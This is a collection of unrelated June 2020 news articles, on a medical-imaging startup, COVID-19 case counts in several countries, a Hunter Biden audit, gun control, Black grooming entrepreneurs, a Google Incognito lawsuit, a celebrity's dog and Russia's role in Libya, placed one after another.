Imaging has been in the news a lot of late because it has so far been one of the most accurate methods for detecting the progress of COVID-19 in patients or would-be patients in terms of how it is affecting patients' lungs and other organs. While the dissemination of equipment like Nanox's definitely could play a role in handling those cases better, the ultimate goal of the startup is much wider than that.

Ultimately, the company hopes to make its devices and cloud-based scanning service ubiquitous enough that it would be possible to run early detection, preventative scans for a much wider proportion of the population.

"What is the best way to fight cancer today? Early detection. But with two-thirds of the world without access to imaging, you may need to wait weeks and months for those scans today," said Poliakine.

The startup's mission is to distribute some 15,000 of its machines over the next several years to bridge that gap, and it's getting there through partnerships. In addition to the SK Telecom deal it's announcing today, last March, Nanox inked a $174 million deal to distribute 1,000 machines across Australia, New Zealand and Norway in partnership with a company called the Gateway Group.

The SK Telecom investment is an interesting development that underscores how carriers see 5G as an opportunity to revisit what kinds of services they resell and offer to businesses and individuals, and SK Telecom specifically has singled out healthcare as one obvious and big opportunity.

"Telecoms carriers are looking for opportunities around how to sell 5G," said Ilung Kim, SK Telecom's president, in an interview. "Now you can imagine a scanner of this size being used in an ambulance, using 5G data. It's a game changer for the industry."

Looking ahead, Nanox will continue to ink partnerships for distributing its hardware and reselling its cloud-based services for processing the scans, but Poliakine said it does not plan to develop its own technology beyond that to gain insights from the raw data. For that, it's working with third parties -- currently three AI companies - that plug into its APIs, and it plans to add more to the ecosystem over time.
Source: Xinhua| 2020-06-06 01:49:30|Editor: huaxia

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VILNIUS, June 5 (Xinhua) -- Hundreds of people on Friday joined a march in Vilnius, capital of Lithuania, to show their solidarity with George Floyd, an unarmed black man suffocated to death by a white police officer in the mid-western U.S. state of Minnesota last week.

Marching from the Cathedral square to the American embassy, the crowd held placards saying "I can't breathe," which were Floyd's last words, "Black Lives Matter," "Stop Racism," and "End Police Brutality," among others, chanting "no justice -- no peace" and other slogans against the police violence.

The protesters, many of whom are students, said they wanted to support the "Black Lives Matter" movement and the protesters in the United States.

"We want to show solidarity and compassion to not only George Floyd's family and the people fighting for justice in the streets of America, but also to the ones who are affected by police brutality against people of color," wrote the organizers of the rally on the Facebook.

A police van was seen leading the march to the American embassy. Enditem
Source: Xinhua| 2020-06-05 20:18:19|Editor: huaxia

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KUWAIT CITY, June 5 (Xinhua) -- Kuwait on Friday reported 723 new cases of COVID-19 and eight more deaths, raising the tally of infections to 30,644 and the death toll to 244, the health ministry said in a statement.

Currently, 12,123 patients are receiving treatment, including 197 in ICU, according to the statement.

The ministry also announced the recovery of 1,054 more patients, raising the total recoveries in the country to 18,277.

On May 31, Kuwait ended the full curfew and imposed a three-week partial curfew for a gradual return to normal life in the country.

Kuwait and China have been supporting each other and cooperating closely in combating the COVID-19 pandemic.

Kuwait donated medical supplies worth 3 million U.S. dollars to China at the early stage of the COVID-19 outbreak.

On April 27, a team of Chinese medical experts visited Kuwait to assist the Arab country's anti-coronavirus fight. Enditem
An audit of thousands of old case files by Ukrainian prosecutors found no evidence of wrongdoing on the part of Hunter Biden, the former prosecutor general, who had launched the audit, told Reuters.

Ruslan Ryaboshapka was in the spotlight last year as the man who would decide whether to launch an investigation into former Vice President Joe Biden and his son Hunter, in what became a key issue in the impeachment of President Donald Trump.

President Volodymyr Zelensky described Ryaboshapka as '100 percent my person' on a call in July 2019 in which Trump asked Zelensky to investigate Biden, the man who became his main rival in the 2020 presidential race.

After taking office, Ryaboshapka in October announced an audit of old cases he inherited, including those related to the energy company Burisma, where Hunter Biden was a board member between 2014-2019.

An audit of thousands of old case files by Ukrainian prosecutors found no evidence of wrongdoing on the part of Hunter Biden, the former prosecutor general who launched the audit told Reuters. Hunter and his father Joe Biden are pictured together in 2016

Ruslan Ryaboshapka (pictured) was in the spotlight last year as the man who would decide whether to launch an investigation into former Vice President Biden and his son Hunter

The audit was intended to probe whether cases Ryaboshapka had inherited from his predecessors had been handled properly, given the reputation of the prosecution service as being riddled with corruption and influence-peddling.

The audit was part of a broader reform of the prosecution service but became politically charged given some of the cases related to Burisma's founder.

'Regarding the call to Zelensky and this story with Burisma. I can say that there was no pressure on me,' Ryaboshapka said. 'The audit was completed.'

'I specifically asked prosecutors to check especially carefully those facts about Biden's alleged involvement. They answered that there was nothing of the kind,' he added.

US President Donald Trump (left) asked Ukrainian President Volodymyr Zelensky (right) to investigate Hunter Biden's activities in the Eastern European country last summer. That request later became a key issue in Trump's impeachment trial

Ryaboshapka was fired in March after lawmakers accused him of not moving quickly enough in prosecuting cases.

Ryaboshapka said he was axed because he had started bringing real reform to the prosecution service for the first time in a way that threatened the interests of corrupt politicians.

Trump was impeached on charges of abuse of power and obstruction in the Democratic-led House of Representatives after he asked Ukraine to investigate the Bidens. He was acquitted by the Republican-controlled Senate.

Hunter Biden's activities at Burisma have also been the target of scrutiny by a US Senate committee.

Unwittingly caught up in the impeachment row last year, Zelensky has said Ukrainians are 'tired' of the issue and does not want Ukraine being dragged into the 2020 presidential race.
Source: Xinhua| 2020-06-05 23:35:51|Editor: huaxia

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CAPE TOWN, June 5 (Xinhua) -- President Cyril Ramaphosa promised on Friday to urgently address the staff shortages in the Western Cape, the country's epicenter of COVID-19 pandemic.

The province will get what it needs to cope with the rapid rise in infections, the president said while touring the Cape Town International Conference Center (CTICC), which is being turned into a 850-bed field hospital for COVID-19 patients.

The president was on an inspection visit to Cape Town and the Western Cape where confirmed COVID-19 cases have been rising at a faster pace.

The Western Cape accounts for more than 66 percent of the nation's COVID-19 cases and more than 76 percent of related deaths.

As of Thursday, the province recorded 27,006 confirmed cases and 651 related deaths, while the cumulative numbers of cases and deaths in the country respectively stood at 40,792 and 848.

During the visit, Ramaphosa was briefed by the Western Cape government on the provincial health system's level of preparedness to deal with the COVID-19 pandemic and on the province's hotspot strategy and implementation plan.

"We are fighting a life and death war and staffing challenges must be solved," Ramaphosa said after being told that staff shortages are the biggest challenge facing the Western Cape.

He refuted the notion that the staff shortages were worsened by lack of money.

"Money is not a problem and I will not accept a lack of staff as an excuse. We must pull out all stops to save lives," Ramaphosa said.

Every effort must be made to identify and headhunt the necessary staff, he said.

"The Department of Defence and Military Veterans is ready to bring in defence personnel who will be able to come to this province immediately to come and lend a hand," Ramaphosa said.

All potential pools of talent and skills must be tapped, he said.

Health Minister Zweli Mkhize, who accompanied the president on the visit, promised to help the Western Cape resolve the testing backlog with a shipment of testing kits that are clearing customs.

The province faces a backlog of 27,000 tests at the National Health Laboratory Service.

This means that someone who is seriously ill in hospital, or a health-worker, or someone who is at high risk of dying from COVID-19, may have to wait between seven to 12 days for a result.

As a result, the Western Cape government has decided to only test those who are at highest risk and most vulnerable of dying from COVID-19 infection in the Cape Town metropolitan area. Enditem
Actress and activist Sophia Bush is getting candid about the fact that she owns a gun.

The One Tree Hill star, 37, also took the opportunity to talk about the legislation surrounding gun ownership and gun control, in light of this weekend's upcoming Wear Orange campaign by Everytown for Gun Safety.





In an interview published on Thursday on People.com, Sophia talked about gun reform frankly, at one point observing, 'It feels a bit mental that we wouldn't regulate guns in the same way that we regulate cars, for example.'

Activist: Sophia Bush took the opportunity to talk about the legislation surrounding gun ownership and gun control in light of this weekend's upcoming Wear Orange campaign; seen here in April 2019

Bush began the chat by describing her affinity for firearms as going back to when she was a child, and it was a way to bond with her father.

'Going to the range was the thing my dad and I loved to do together and something that I really took to,' she said.

'Riflery, and then marksmanship in general, became a passion of mine and over the years has been something that I've continued to pursue.'

Seriously: In an interview published Thursday, Sophia observed, 'It feels a bit mental that we wouldn't regulate guns in the same way that we regulate cars, for example'; seen in March

Later, Sophia identified herself as a gun owner, saying, 'Im a really passionate advocate for responsible gun ownership and for much stricter legislation around gun ownership.'

It was then that she made the analogy of guns being at least as regulated as automobiles.

'You have to pass a test, have insurance, get your qualifications checked,' she said of driving a car, which should obviously also be the absolute bare minimum for being able to own a lethal weapon.

stylish with a point of view: Sophia identified herself as a gun owner, saying, 'Im a really passionate advocate for responsible gun ownership and for much stricter legislation'

Bush also opened up specifically about gun violence, sharing candidly that her second cousin Christina-Taylor Green was shot and killed at age 9 in the 2011 shooting in Tuscon, Arizona.

'Anyone out there who doesn't think it could happen to them is thinking on borrowed time,' she observed.

And about the Wear Orange movement, Bush said 'the campaign started in Chicago, where Hadiya Pendleton was shot and killed in 2013 at 15 years old. Her friends wore orange in her honor, and since then orange has been the defining color of the gun-violence-prevention movement. When we can get entire cities to turn orange, entire social media feeds, we can really garner some attention and spark conversations.'

Fists up: Gun violence is just one of the issues close to Sophia's heart, as it intersects with other pressing cultural and societal problems the country is facing; seen here at a recent protest for George Floyd with fellow actress Skye P. Marshall

Gun violence is just one of the issues close to Sophia's heart, as it intersects with other pressing cultural and societal problems the country is facing.

'People look at something like gun violence, they look at something like systemic racism, they look at something like political corruption, and they think, "How am I ever going to do something about that? That feels big. That feels far away,"' Bush observed.

'They arent as tuned in to how close the effect of issues like those are. Its up to all of us to remind ourselves that if this has happened to a family somewhere, its happened to our family.'

Actress Sophia Bush protested outside Mayor Garcetti's home in Los Angeles on Tuesday with her Good Sam costar Skye P. Marshall who has taken to the streets to protest over the last few days.

The Chilling Adventures of Sabrina costars Jaz Sinclair and Ross Lynch joined Skye P. Marshalls in protesting as did Australian actress Melissa Bergland.

The Black Lighting Actress said in an interview with The Hollywood Reporter published on Thursday "I protested in an effort to influence public opinion and overthrow government policies as it pertains to Black Lives inequality. I protested because I was too emotional, alone in my home, glued to the news and social media. I desperately needed share space with others that shared the same desire to scream, cheer and chant for change!"

'People look at something like gun violence, they look at something like systemic racism, they look at something like political corruption, and they think, "How am I ever going to do something about that?"' Sophia (left) seen with actor friends and Chilling Adventures of Sabrina Cast Skye P. Marshall, Jaz Sinclair, Ross Lynch and actress Melissa Bergland at a protest this week
Black Grooming Entrepreneurs

13 Entrepreneurs Revolutionizing the Grooming Industry

The AskMen editorial team thoroughly researches & reviews the best gear, services and staples for life. AskMen may get paid if you click a link in this article and buy a product or service.

The fight for racial equality must be heard. Amplify is our series devoted to elevating black voices and brands, spotlighting issues, and taking action.

With additions by Alex Bracetti.

The male grooming industry has grown to become a multi-billion dollar trade  an estimated $166 billion by 2022. Major mass market brands such as Axe and Dove along with DTC brands including Harry's and Dollar Shave Club  to name just a few  have contributed to this growth by manufacturing open-minded, gender-specific products catering to the average Joe. Yet in mentioning the phenomenal success of the business, the public has failed to recognize many of its power players  and by that, we mean specifically Black men and men of color.

RELATED: 21 Best Natural Hair Products for Black Men

Bevel founder Tristan Walker once described the grooming field as a second class citizen experience for such crowds. He had a point, because most of the markets hygiene products werent formulated to tackle the coarse hair or rare skin texture of Black men. This would lead to an evolution of change, welcoming a crowd of aspiring trailblazers whove introduced innovative products and services to the community that for lack of better terms have shaped the grooming game for African Americans, and on a global level at that.

So in celebration of Black men (and women) everywhere, were putting you onto the Black entrepreneurs breaking cultural barriers and bringing change to the male grooming industry right now.

Tristan Walker : Bevel

The Stanford graduate and Foursquare alum noticed a grooming void in the Black community and sharpened his focus on creating a product for men with coarse and curly hair. Walkers vision turned into Walker & Company Brands, Inc. It quickly disrupted the industry with its inaugural launch, the Bevel shaving system, consisting of a singular razor with lotions and a special brush to fight off razor bumps. Bevel is now a mainstream name found everywhere from Amazon to Target. It has drawn financial contributions from celebrity venture capitalists including John Legend, Magic Johnson, and Nas, who also serves as a spokesperson for the brands best-selling Bevel Trimmer.

Learn more at GetBevel.com

Michael James : Frederick Benjamin Grooming

A business virtuoso whos established a credible rep from working with major beauty brands like LOreal and Revlon, Michael James applied his talents to found a multi-ethnic skin care line for modern men. In doing so, he took inspiration from a man that was the epitome of style, grace and finesse: his grandfather, the Frederick Benjamin Schumpert. Now available at Ulta nationwide, FBG products are infused with natural ingredients (spearmint, clove, hemp seed) and free of damaging substances (drying alcohols, petroleum distillates) that replenish hair for every scalp type. No discrimination.

Learn more at FrederickBenjamin.com

Sebastian Jackson : Social Club Grooming Company

Modeling his Detroit barbershop into a social experience, owner Sebastian Jackson formed the Social Club Grooming Company to serve as a community hub for people to come together, get their hair done, and speak on social issues. As a cultural advocate, hes hired a diverse staff of hairstylists with varied experience to manage people of any gender and race who step through his doors. The SCGC even promotes what its coined Shop Talks, a series of popular destination events across the Motor City where Sebastian interviews tastemakers and successful entrepreneurs  and he puts in work behind the barbers chair as well.

Learn more at AtTheSocialClub.com

Nancy Twine : Briogeo

During childhood visits to West Virginia, Nancy Twine, Founder of hair care brand Briogeo, would assume the role of sous chef to her grandmother, the town's resident beauty guru, in making her coveted homemade hair care. Upon moving to New York City in her mid-20s, Twine was forced to swap homemade hair care for store-bought leading her to quickly realize that the natural hair care on the market simply did not live up to its claims. After working in her East Village studio apartment using her grandmother's recipes (and a rockstar natural chemist team) Briogeo was born. In the years since, the brand has cracked the code to make affordable, quality hair care for men and women, focusing on texture-specific products instead of what works for guys and what works for gals. Available at Amazon, Sephora, Nordstrom  basically everywhere.

Learn more at Briogeo.com

Calvin Quallis : Scotch Porter

Calvin Quallis grew up in and out of his mothers beauty and barbershop on Long Island, New York. He didnt know it yet, but those fond memories shaped his future more than he realized. After graduating from William Paterson University in New Jersey, he worked in market research and design, before opening his own barbershop on the side in Newark, New Jersey in 2012. After establishing Scotch Porter  named after his booze of choice and one of his favorite artists, Gregory Porter  it quickly took off and he decided to take the leap of faith by quitting his day job and going full speed ahead. It paid off. For a brand that has just hit five years old, its a top seller on Amazon and made its debut in Target in early 2020, to rave reviews. With a well curated list of over 15 items, there is something for every bearded guy out there.

Learn more at ScotchPorter.com

Jamyla Bennu : Oyin Handmade

Founded in 2001, in a kitchen in Baltimore, Maryland, Oyin Handmade is a collection of completely handmade products designed to meet todays health, beauty, and style needs using natural and organic ingredients. Founder Jamyla Bennu was recently featured in Facebooks womens business profile series, She Means Business and is a member of its Small Business Council. Sticking close to her roots, she maintains her Baltimore-based boutique on North Charles Street but can be found nationwide and on Amazon.

RELATED: Companies Supporting the Black Lives Matter Cause

Learn more at OyinHandmade.com

Michael Elliot : Hammer & Nails

Who would have thought a male nail salon would blossom into a business empire? Salute as Michael Elliot raises his hand. He saw the value of integrating a salon inside a man-cave-like setting where an all-female staff performs splendor grooming services and serves refreshments. Hammer & Nails tapped into a niche market thats blown up since its inception back in 2013, while being featured on Shark Tank and recently granting franchise licenses in over 40 states to expand Elliots hand and foot grooming venture.

Learn more at HammerandNailsGrooming.com

Edward Bert Oliver Jr. : E.B.O. Beard Butter

The entrepreneurial spirit and word of mouth can get you far in this business  all you have to do is look at Edward Bert Oliver Jr. Through extensive product research and social media, the Norfolk State University graduate chose to develop and self-market his own organic line of beard care products upon seeing the markets best failing to nourish unique African-American tresses. With an increasing client base and variety of scents available, Beard Butter is steadily evolving into the go-to solution for beard conformists of all races.

Learn more at his EBO Beard Butter Shop

Adrian Fanus : Adrian Fanus Grooming

Here is a man who's kept celebs like John Legend, Idris Elba, Forrest Whitaker, and Franchesca Ramsey looking fresh in front of the cameras over the years. The brains behind luxe AF Grooming salon in Brooklyn created his own grooming line through his self-taught creativity and charming personality, which continue to capture the interest of notable celebs from all backgrounds. Fanus unprecedented approach to detail continues to make him a trendsetter in the biz  tailoring premium haircuts and skincare consultations based on two attributes: character and facial structure.

Learn more at AFGrooming.com

Andrea Polk : Solo Noir For Men

Polk once said, As a child, the word entrepreneur was never a term that was part of my vocabulary. Call it a case of divine design because it was only a matter of time before she became a power player in the beauty and grooming industry. After years of helping other corporate brands, the sales and marketing expert re-entered the male skincare realm and launched a collection of organic grooming products. Shes gone on to develop an infrastructure to minimize failure by partnering with a manufacturer that manages most operations (distribution, packaging, testing), building an elite grooming system that specializes in 2-in-1 facial and shaving products for the ethnic man.

Learn more at SoloNoirforMen.com

Aaron Wallace : By Aaron Wallace

By Aaron Wallace is an eponymous creation born out of Wallaces Croydon-based barbershop, which has set the standard for grooming with a variety of luxury services designed for the Black gent who knows what he wants. Determined to address a lack of primping solutions, the visionary behind Britains first black-owned male grooming brand embarked on a journey to break such cultural barriers with his own line of premium products. Wallace spent years delving into research and development to formulate the right hair and skincare solutions for the everyday man. Mission accomplished.

Learn more at ByAaronWallace.com

Darnell Henderson : HIMistry Skincare

Grinding since the late millennium, Hendersons all-natural skincare products for men range from cleaners and toners to shave creams and beard oils. So whats made HIMistry such a winsome brand in the grooming industry till this day? Aside from offering multi-functional products that work as both anti-aging treatments and shaving solutions, Hendersons creations are available in stores nationwide and sold online across major outlets including Amazon. Attractive packaging and competitive pricing have only boosted its diverse appeal.

Learn more at HIMistry.com

Craig the Barber : Burke Avenue

Craig Whitely  professionally known as Craig the Barber  counts David Beckham, Chris Tucker, Bryshere Y. Gray, Jeremy Piven, Jason Mitchell, and more as his clients. Inspired by the real concerns of his clients, launched his Burke Avenue Shaving Products in 2017. Keeping it simple, to focus on his one-on-one clientele, Whitley sells his Moisturizing Shave Cream and 3-in-1 Face Balm on his site as well as Amazon.

Learn more at BurkeAvenue.com

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A father who fell critically ill with coronavirus had to have his leg amputated when the infection triggered deadly blood clots.

Anthony Earl, 59, is one of a growing number of Covid-19 patients to suffer from the nasty complication of the disease, which can also lead to strokes and heart attacks.

The delivery driver, of Greenwich, South East London, caught the virus in April and was admitted to hospital after developing pneumonia.

Doctors battling to save Mr Earl's life were forced to place him in a five-week coma and hook him up to a ventilator when his condition deteriorated and his lungs started to fail.

Covid-19 caused him severe thrombosis, the medical term for blood clots, in his left leg which cut off circulation to his limb.

He also developed sepsis in response to the infection, a fatal immune-overreaction which makes blood clots more severe and circulation worse.

The tissue in his left leg began to die and rot after being starved of blood, oxygen and nutrients  leaving doctors no choice but to amputate it.

Anthony Earl, 59, is one of a growing number of Covid-19 patients to suffer from the nasty complication of the disease, which can also lead to strokes and heart attacks (pictured with his wife Catherine)

The delivery driver, of Greenwich, caught the virus in April and was admitted to hospital after developing pneumonia (pictured with his wife before he became infected)

His care worker wife Catherine told the Sun: 'He was admitted [to Queen Elizabeth Hospital in Woolwich] for a few days before his condition worsened.

'And therefore he had to be taken to intensive care and placed into a medically induced coma to help his body battle the virus.

'One of the main clots was situated within his left leg and as it was a cause for concern, he was transferred to St Thomas' Hospital where I had been only a matter of weeks beforehand.'

He also developed sepsis in response to the infection, a fatal immune-overreaction which makes blood clots more severe and circulation worse (pictured with his wife on holiday before he was infected)

WHAT'S CAUSING THE CLOTS IN COVID PATIENTS? While experts are unsure why the virus causes the blockages, there are three main theories: CYTOKINE STORM The prevailing theory is that it is the result of a an immune overreaction called a 'cytokine storm'. Cytokines are chemical-signaling molecules which guide a healthy immune response. They tell immune cells to attack viral molecules in the body. But in some people, this resonpse goes into overdrive and immune cells start attacking healthy tissue as well, known as a cytokine storm. As blood vessels become damaged they can leak, causing blood pressure to drop and driving up the chance of clots forming. BYPRODUCT OF INFECTION Other scientists say the surge in strokes may be a byproduct of the way COVID-19 invades the human body. Professor Ian Jones, a virologist at the University of Reading, told MailOnline: 'Covid binds to an enzyme called ACE2 which is on the surface of the cell. 'It simply uses it as a way of attaching itself but in doing so the enzyme function of ACE2 is reduced. 'The consequence of this is an imbalance of hormones called Angiotensin I and Angiotensin II which together regulate blood pressure. 'It could be related to the increase in strokes reported.' VIRUS' UNIQUE SHAPE Dr Robert Bonow, a professor of cardiology at Northwestern University, said it may be the coronavirus' unique shape that is causing the bloodclotting issues. He said the virus' spikes, which latch onto receptors in cells, can also attach to blood vessels. Once they dock onto these blood vessel cells, the viral particles can trigger damage to these as well as to heart muscle, Dr Bonow says. Advertisement

'It took two days for it to kill his leg. Sadly, the clot in his left leg had ceased the blood supply to his limb and it was amputated mid-thigh in an attempt to save his life.'

Mrs Earl and the couple's daughter Nicole, 21, said the way his condition deteriorated so quickly was like a 'horror story'.

'He was so fit before, it just tore through him,' she added.

Mr Earl is now awake, able to speak and is working on building his strength to be able to return home after fighting off the virus.

Doctors say one in three patients who fall severely ill with coronavirus develop dangerous blood clots that may be contributing to their deaths.

The clots, also known as thrombosis, can become fatal if they migrate to major organs in the body and cut off their blood supply.

The blockages can trigger heart attacks, strokes, organ failure and the fatal lung condition pulmonary embolism.

Severe inflammation - an overreaction by the immune system to Covid-19 infection - is thought to be the cause of the blood clots.

Clots that start in the lower body can migrate to the lungs, causing a deadly blockage called a pulmonary embolism - a common killer of Covid-19 patients.

Blockages near the heart can lead to a heart attack, another common cause of death in infected people. And clots above the chest can cause strokes.

Scientists aren't sure why the virus causes clots - but they believe it could be the result of a an immune overreaction called a 'cytokine storm'.

Cytokines are chemical-signaling molecules which guide a healthy immune response. They tell immune cells to attack viral molecules in the body.

But in some patients, this process goes into overdrive and immune cells begin destroying healthy tissues.

This can lead to damaged blood vessels which leak and cause blood pressure to plummet, driving up the chance of clots forming, according to Dr Jamie Garfield from Temple University Hospital in Philadelphia.

Other scientists say the clots be a byproduct of the way Covid-19 invades the human body.

Professor Ian Jones, a virologist at the University of Reading, told MailOnline: 'Covid binds to an enzyme called ACE2 which is on the surface of the cell. It simply uses it as a way of attaching itself but in doing so the enzyme function of ACE2 is reduced.

'The consequence of this is an imbalance of hormones called Angiotensin I and Angiotensin II which together regulate blood pressure. It could be related to the increase in strokes reported.'

Sepsis patients sometimes develop blood clots which prevent blood from flowing to their fingers, hands, arms, feet, toes and legs. When not enough blood can reach the limbs, the flesh begins to die, turn black and rot.
Canberra, June 5 : Australia is seeking to toughen its foreign investment regulations to protect its assets from an overseas entity if it threatens national security, the government said on Friday.

The reform will give more power to the Foreign Investment Review Board to analyze investment agreements in companies that are "sensitive national security businesses" without considering their acquisition value, Treasurer Josh Frydenberg said.

Currently, it only requires the approval of the regulator when the foreign investment is more than A$275 million ($191 million) million or A$1.2 billion if an investment originates from countries listed under Free Trade Agreement, reports Efe news.

The government expects the new measures to be in place from January 2021 and will affect companies related to telecommunications, technology, energy, infrastructure, and supply chains.

Frydenberg, in a joint press conference with Prime Minister Scott Morrison, said some cases of foreign investment are "used for strategic objectives not purely commercial".

He reiterated that the measure of foreign investment is more significant since its establishment in 1975.

In late March, the Australian government had temporarily toughened the requirements of foreign investments to mitigate the strong impact on its economy due to the COVID-19 pandemic.

Through these measures, all the foreign investment proposals had to be approved by Frydenberg regardless of the amount and a revision period of the proposals extended to six months from 30 days.

The toughening of foreign investment law comes amid a crisis due to COVID-19 that has affected Australian businesses.

The move is also expected to cause an escalation in tension with China that has criticized Australia over several measures adopted over the concerns related to foreign interference and espionage.

The Australian government constantly denies that the toughening of the regulations are directed towards China.

However, it had previously blocked purchases from the Asian country citing that they were against its national interests.

Of the total foreign investments in Australia that round to about A$4 billion, China makes up for 5 per cent, the UK and Japan add 10 per cent each while the US contributes some 20 per cent, according to Frydenberg.
Credit: CC0 Public Domain

A trio of Google users has filed a lawsuit seeking billions of dollars in damages for millions of people allegedly tricked into giving up their web-use data by promises of "private browsing" in "Incognito mode."

"Through its pervasive data tracking business, Google knows who your friends are, what your hobbies are, what you like to eat, what movies you watch, where and when you like to shop, what your favorite vacation destinations are, what your favorite color is, and even the most intimate and potentially embarrassing things you browse on the internetregardless of whether you follow Google's advice to keep your activities 'private,'" said the suit filed in U.S. District Court in San Jose, Calif. "Google has made itself an unaccountable trove of information so detailed and expansive that George Orwell could never have dreamed it."

The suit centers on language the digital advertising giant uses to explain incognito mode, with the plaintiffs highlighting a statement that the mode allows users "to browse the web privately" and Google pointing to advisories to users that explain "private" browsing doesn't mean data isn't collected.

Google said it strongly disputes the claims in the lawsuit and would defend itself vigorously.

"Incognito mode in Chrome gives you the choice to browse the internet without your activity being saved to your browser or device," the company said in an emailed statement Wednesday. "As we clearly state each time you open a new incognito tab, websites might be able to collect information about your browsing activity during your session."

The plaintiffs in the suit, Chasom Brown and Maria Nguyen of Los Angeles and William Byatt of Florida, are seeking class action status and damages of at least $5,000 each for "millions" of people affected by the alleged data grab since June 2016. Those demands, if granted by the court, would force Google to pay at least $5 billion in damages.

"To prevent information from being shared with Google, Google recommends that its consumers need only launch a browser such as Google Chrome, Safari, Microsoft Edge, or Firefox in 'private browsing mode,'" the suit filed Tuesday claimed.

However, regardless of whether a user selected private browsing, "Google continues to track, collect, and identify their browsing data in real time, in contravention of federal and state laws on wiretapping and in violation of consumers' rights to privacy," the suit alleged. "Unbeknown to most consumers, Google constantly tracks what they request and read, click by click and page by page, in real time.

"Google's various tracking tools, including Google Analytics and Google Ad Manager, are actually designed to automatically track users when they visit webpagesno matter what settings a user chooses."

Incognito mode's landing page on Chrome says, "Now you can browse privately, and other people who use this device won't see your activity. However, downloads and bookmarks will be saved." The page says Chrome won't save a user's browsing history, cookies, site data and information entered in forms, but warns that user activity might still be visible to websites visited, employers, schools and internet service providers. A link on the page goes to a support page clarifying that the reference to employers and schools concerns use of work or school computers.

Incognito mode won't "prevent you from telling a website who you are," the support page says. "If you sign in to any website in Incognito mode, that site will know that you're the one browsing and can keep track of your activities from that moment on."

The suit claims Google intercepts browsing data when private modes are used on other browsers including Safari. Google's statement referred to "Incognito mode in Chrome," and a spokesman, asked about the claim of data interception from other browsers, said, "Chrome works the same way the other browsers work."

2020 The Mercury News (San Jose, Calif.)

Distributed by Tribune Content Agency, LLC.
Molly-Mae Hague has reportedly quit social media after suffering backlash in the wake of the death of her dog, Mr Chai.

The Love Island star was gifted the Pomeranian puppy by her boyfriend Tommy Fury for her 21st birthday last month, but just days after welcoming the pooch, he sadly passed away.

And now the YouTube star is taking a temporary break from her social media channels after facing a barrage of criticism over her dog being imported from Russia.

Taking a break: Molly-Mae Hague has reportedly quit social media after suffering backlash in the wake of the death of her dog Mr Chai

A source told The Sun: 'Molly-Mae is taking a break to have time to herself for a few days.'

MailOnline have contacted a representative of Molly-Mae for comment.

In the wake of the puppy's death, both fans and celebrities spoke out about the importance of researching when buying a dog.

Ashley James, 33, wrote: 'Please please do your research before getting a pet. Do not import dogs from other countries unless they are rescues from charities. Please look into #lucyslaw and if you do go to a breeder then always make sure you see a fit and healthy mum!'

So sad: The Love Island star was gifted the Pomeranian puppy by her boyfriend for her 21st birthday last month, but just days after welcoming the pooch, he sadly passed away

Katie Piper said on Instagram: 'PLEASE PLEASE if you are getting a puppy during lockdown or in general please think! Puppy farms are exploiting the demand.

While Love Island's Olivia Buckland shared a lengthy statement to her Instagram on Thursday, urging her followers not to support 'third-party breeders' or buy dogs from other countries.

Stipulating that her discussion was 'in no way towards my lovely Molly' as she was 'devastated' for the reality star, Olivia explained that she was speaking out 'to make sure this doesn't happen again and to raise awareness.'

On Wednesday, Molly-Mae discussed the tragic death of her dog and addressed the backlash from importing Mr Chai from Russia, stating: 'Whilst we completely understand everyone's opinions about being shipped over from Russia, what you need to understand is that is not what made him die.

Time out: And now the YouTube star is taking a temporary break from her social media channels after facing a barrage of criticism over her dog being imported from Russia

'He was going to die regardless. The autopsy results showed his skull wasn't fully developed and part of his brain was exposed. He didn't have a single white blood cell in his body'.

'If we had the time again we would have got a dog from the UK or got a rescue dog from the UK.'

Tommy bought the dog through Cheshire-based business Tiffany Chihuahuas & Pomeranians, which is licensed by Cheshire Council but not a Kennel Club assured breeder.

Breeder Elena Katerova has denied breaking the rules telling the publication, clients see the mother with their puppy via videos.

Upset: On Wednesday, Molly-Mae, who was gifted the pooch by Tommy for her 21st birthday, addressed the backlash from importing Mr Chai from Russia

Inevitable: 'He was going to die regardless. The autopsy results showed his skull wasn't fully developed and part of his brain was exposed. He didn't have a single white blood cell in his body'

She said: 'I'm truly devastated to learn about the death of Mr Chai. He was a beautiful young dog with a loving, playful temperament. I'd watched him grow up, having regular video calls with his birth family.

'My heart goes out to Molly-Mae and Tommy. Mr Chai was a healthy dog, I only work with trusted people and have a small network of reputable breeders who care for their dogs to the very highest standards and and see animals as part of their family.'

Meanwhile, Molly-Mae told her viewers: 'Neither of us wanted to film a video or talking about this but after everything we've seen today and reading everyone's opinions, I think it's really important that we actually do sit down and talk about it and explain how we are feeling and what we now know after receiving the autopsy results.'

Heartbroken: On Tuesday, the reality star announced Mr Chai had died, six days after welcoming the pup into her home after receiving him for her 21st birthday present

Shock: Molly-Mae's new puppy, gifted to her from boyfriend Tommy, was not from a registered breeder, The Kennel Club confirmed

After describing how Mr Chai was energetic in his first few days with them 'as a puppy should be', they soon noticed he started showing symptoms, with Tommy explaining: 'His poo was runny, he was vomiting, he wasn't running.'

The pair took him to the vet and Molly recalled that while waiting outside, she could 'tell something was wrong', adding Mr Chai was 'wriggling' and said dogs 'almost know when they are about to die'.

Molly-Mae said 30 minutes later, the vet rang and informed them Mr Chai had had a seizure and died.

'We were both utterly shocked', she explained. 'Tommy literally just threw up everywhere'.

Upset: Meanwhile, the dog breeder they brought the pup shared her devastation over the pup's death and insisted that he had been 'healthy'

A representative of Molly-Mae and Tommy confirmed Mr Chai had died of 'a seizure and neurological issues.'

A statement read: 'Chai died of a seizure and neurological issues. This probably relating to the puppies skull not being fully formed (see note on anterior fontanelle below).

'Chai passed away with a number of health issues outlined below and the puppy clearly was not at full health and potentially had been carrying an infection and fighting it for some time before reaching Molly and Tommy.'

It then listed a number of ailments the dog suffered from, including: 'no white blood cells present in blood, anterior fontanelle not completely ossified, body condition 3/5, liver congested, spleen enlarged congested, adrenal glands enlarged, kidneys congested, colon congested, lungs congested and Heart right ventricle dilated.'
The United States is stepping up pressure on Russia amid Moscows intensified involvement in the Libyan conflict and its growing role in propping up Khalifa Hifter, the rebellious field marshal who commands the self-styled Libya National Army. In particular, the State Department commended the Maltese governments May 26 announcement of its seizure of $1.1 billion in counterfeit Libyan currency printed by Russias Goznak and ordered by a central bank from eastern Libya affiliated with Hifter. Washington believes that this incident once again highlights Russias destabilizing role in Libya and the importance of countering the Kremlin.

Goznak replied that the Libya Panel of Experts under the UN Security Council did not regard the shipment of such banknotes from Russia as a breach of the sanctions regime.

